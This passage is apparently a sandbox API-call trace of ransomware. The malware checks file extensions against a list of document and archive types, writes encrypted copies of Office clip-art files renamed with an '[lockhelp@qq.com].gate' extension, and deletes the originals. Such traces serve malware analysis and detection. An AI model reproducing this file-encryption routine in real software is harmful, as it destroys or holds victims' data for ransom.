lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0290.302] lstrlenW (lpString=".jpg") returned 4 [0290.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0290.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0290.302] lstrlenW (lpString=".doc") returned 4 [0290.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.302] lstrlenW (lpString=".docx") returned 5 [0290.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.302] lstrlenW (lpString=".pdf") returned 4 [0290.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.303] lstrlenW (lpString=".xls") returned 4 [0290.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.303] lstrlenW (lpString=".xlsx") returned 5 [0290.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.303] lstrlenW (lpString=".ppt") returned 4 [0290.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0290.303] lstrlenW (lpString=".zip") returned 4 [0290.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.303] lstrlenW (lpString=".rar") returned 4 [0290.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.303] lstrlenW (lpString=".bz2") returned 4 [0290.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.303] lstrlenW (lpString=".7z") returned 3 [0290.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0290.303] lstrlenW (lpString=".dbf") returned 4 [0290.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0290.303] lstrlenW (lpString=".1cd") returned 4 [0290.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0290.303] lstrlenW (lpString=".jpg") returned 4 [0290.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.303] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.303] lstrlenW (lpString="BS00135_.WMF") returned 12 [0290.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0290.304] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1044) returned 1 [0290.304] CloseHandle (hObject=0x4c8) returned 1 [0290.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220 [0290.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0290.305] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0290.305] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0290.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0290.305] GetLastError () returned 0x0 [0290.305] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x414, lpOverlapped=0x0) returned 1 [0290.417] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x420, lpOverlapped=0x0) returned 1 [0290.475] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0290.475] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0290.475] SetEndOfFile (hFile=0x4cc) returned 1 [0290.475] CloseHandle (hObject=0x4cc) returned 1 [0290.476] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0290.476] SetEndOfFile (hFile=0x4c8) returned 1 [0290.479] CloseHandle (hObject=0x4c8) returned 1 [0290.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0290.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0290.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0290.480] lstrlenW (lpString=".doc") returned 4 [0290.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.480] lstrlenW (lpString=".docx") returned 5 [0290.480] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.480] lstrlenW (lpString=".pdf") returned 4 [0290.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.480] lstrlenW (lpString=".xls") returned 4 [0290.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.480] lstrlenW (lpString=".xlsx") returned 5 [0290.480] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.480] lstrlenW (lpString=".ppt") returned 4 [0290.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0290.480] lstrlenW (lpString=".zip") returned 4 [0290.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.480] lstrlenW (lpString=".rar") returned 4 [0290.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.480] lstrlenW (lpString=".bz2") returned 4 [0290.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.480] lstrlenW (lpString=".7z") returned 3 [0290.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0290.480] lstrlenW (lpString=".dbf") returned 4 [0290.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0290.480] lstrlenW (lpString=".1cd") returned 4 [0290.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0290.480] lstrlenW (lpString=".jpg") returned 4 [0290.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0290.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0290.481] lstrlenW (lpString=".doc") returned 4 [0290.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.481] lstrlenW (lpString=".docx") returned 5 [0290.481] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.481] lstrlenW (lpString=".pdf") returned 4 [0290.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.481] lstrlenW (lpString=".xls") returned 4 [0290.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.481] lstrlenW (lpString=".xlsx") returned 5 [0290.481] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.481] lstrlenW (lpString=".ppt") returned 4 [0290.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0290.481] lstrlenW (lpString=".zip") returned 4 [0290.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.481] lstrlenW (lpString=".rar") returned 4 [0290.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.481] lstrlenW (lpString=".bz2") returned 4 [0290.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.481] lstrlenW (lpString=".7z") returned 3 [0290.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0290.481] lstrlenW (lpString=".dbf") returned 4 [0290.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0290.481] lstrlenW (lpString=".1cd") returned 4 [0290.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0290.481] lstrlenW (lpString=".jpg") returned 4 [0290.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.482] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.482] lstrlenW (lpString="BS00174_.WMF") returned 12 [0290.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0290.482] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=8366) returned 1 [0290.482] CloseHandle (hObject=0x4c8) returned 1 [0290.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220 [0290.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0290.483] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0290.483] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0290.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0290.483] GetLastError () returned 0x0 [0290.483] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x20ae, lpOverlapped=0x0) returned 1 [0290.545] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x20b0, lpOverlapped=0x0) returned 1 [0290.546] ReadFile (in: hFile=0x4c8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0290.546] WriteFile (in: hFile=0x4cc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0290.547] SetEndOfFile (hFile=0x4cc) returned 1 [0290.547] CloseHandle (hObject=0x4cc) returned 1 [0290.547] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0290.548] SetEndOfFile (hFile=0x4c8) returned 1 [0290.550] CloseHandle (hObject=0x4c8) returned 1 [0290.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0290.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0290.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0290.551] lstrlenW (lpString=".doc") returned 4 [0290.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.551] lstrlenW (lpString=".docx") returned 5 [0290.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.551] lstrlenW (lpString=".pdf") returned 4 [0290.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.551] lstrlenW (lpString=".xls") returned 4 [0290.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.551] lstrlenW (lpString=".xlsx") returned 5 [0290.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.552] lstrlenW (lpString=".ppt") returned 4 [0290.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0290.552] lstrlenW (lpString=".zip") returned 4 [0290.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.552] lstrlenW (lpString=".rar") returned 4 [0290.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.552] lstrlenW (lpString=".bz2") returned 4 [0290.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.552] lstrlenW (lpString=".7z") returned 3 [0290.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0290.552] lstrlenW (lpString=".dbf") returned 4 [0290.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0290.552] lstrlenW (lpString=".1cd") returned 4 [0290.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0290.552] lstrlenW (lpString=".jpg") returned 4 [0290.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0290.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0290.552] lstrlenW (lpString=".doc") returned 4 [0290.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.552] lstrlenW (lpString=".docx") returned 5 [0290.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.552] lstrlenW (lpString=".pdf") returned 4 [0290.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.552] lstrlenW (lpString=".xls") returned 4 [0290.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.552] lstrlenW (lpString=".xlsx") returned 5 [0290.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.552] lstrlenW (lpString=".ppt") returned 4 [0290.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0290.553] lstrlenW (lpString=".zip") returned 4 [0290.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.553] lstrlenW (lpString=".rar") returned 4 [0290.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.553] lstrlenW (lpString=".bz2") returned 4 [0290.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.553] lstrlenW (lpString=".7z") returned 3 [0290.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0290.553] lstrlenW (lpString=".dbf") returned 4 [0290.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0290.553] lstrlenW (lpString=".1cd") returned 4 [0290.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0290.553] lstrlenW (lpString=".jpg") returned 4 [0290.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.553] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0290.553] lstrlenW (lpString="BS00200_.WMF") returned 12 [0290.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0290.555] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3104) returned 1 [0290.555] CloseHandle (hObject=0x414) returned 1 [0290.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220 [0290.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0290.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0290.555] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0290.555] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0290.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0290.556] GetLastError () returned 0x0 [0290.556] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xc20, lpOverlapped=0x0) returned 1 [0290.711] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xc30, lpOverlapped=0x0) returned 1 [0290.712] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0290.712] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0290.712] SetEndOfFile (hFile=0x394) returned 1 [0290.712] CloseHandle (hObject=0x394) returned 1 [0290.713] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0290.713] SetEndOfFile (hFile=0x414) returned 1 [0290.715] CloseHandle (hObject=0x414) returned 1 [0290.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0290.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0290.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0290.716] lstrlenW (lpString=".doc") returned 4 [0290.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.716] lstrlenW (lpString=".docx") returned 5 [0290.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.716] lstrlenW (lpString=".pdf") returned 4 [0290.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.716] lstrlenW (lpString=".xls") returned 4 [0290.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.716] lstrlenW (lpString=".xlsx") returned 5 [0290.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.716] lstrlenW (lpString=".ppt") returned 4 [0290.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0290.716] lstrlenW (lpString=".zip") returned 4 [0290.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.716] lstrlenW (lpString=".rar") returned 4 [0290.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.717] lstrlenW (lpString=".bz2") returned 4 [0290.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.717] lstrlenW (lpString=".7z") returned 3 [0290.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0290.717] lstrlenW (lpString=".dbf") returned 4 [0290.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0290.717] lstrlenW (lpString=".1cd") returned 4 [0290.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0290.717] lstrlenW (lpString=".jpg") returned 4 [0290.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0290.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0290.717] lstrlenW (lpString="C:\\Program Files\\Microsoft 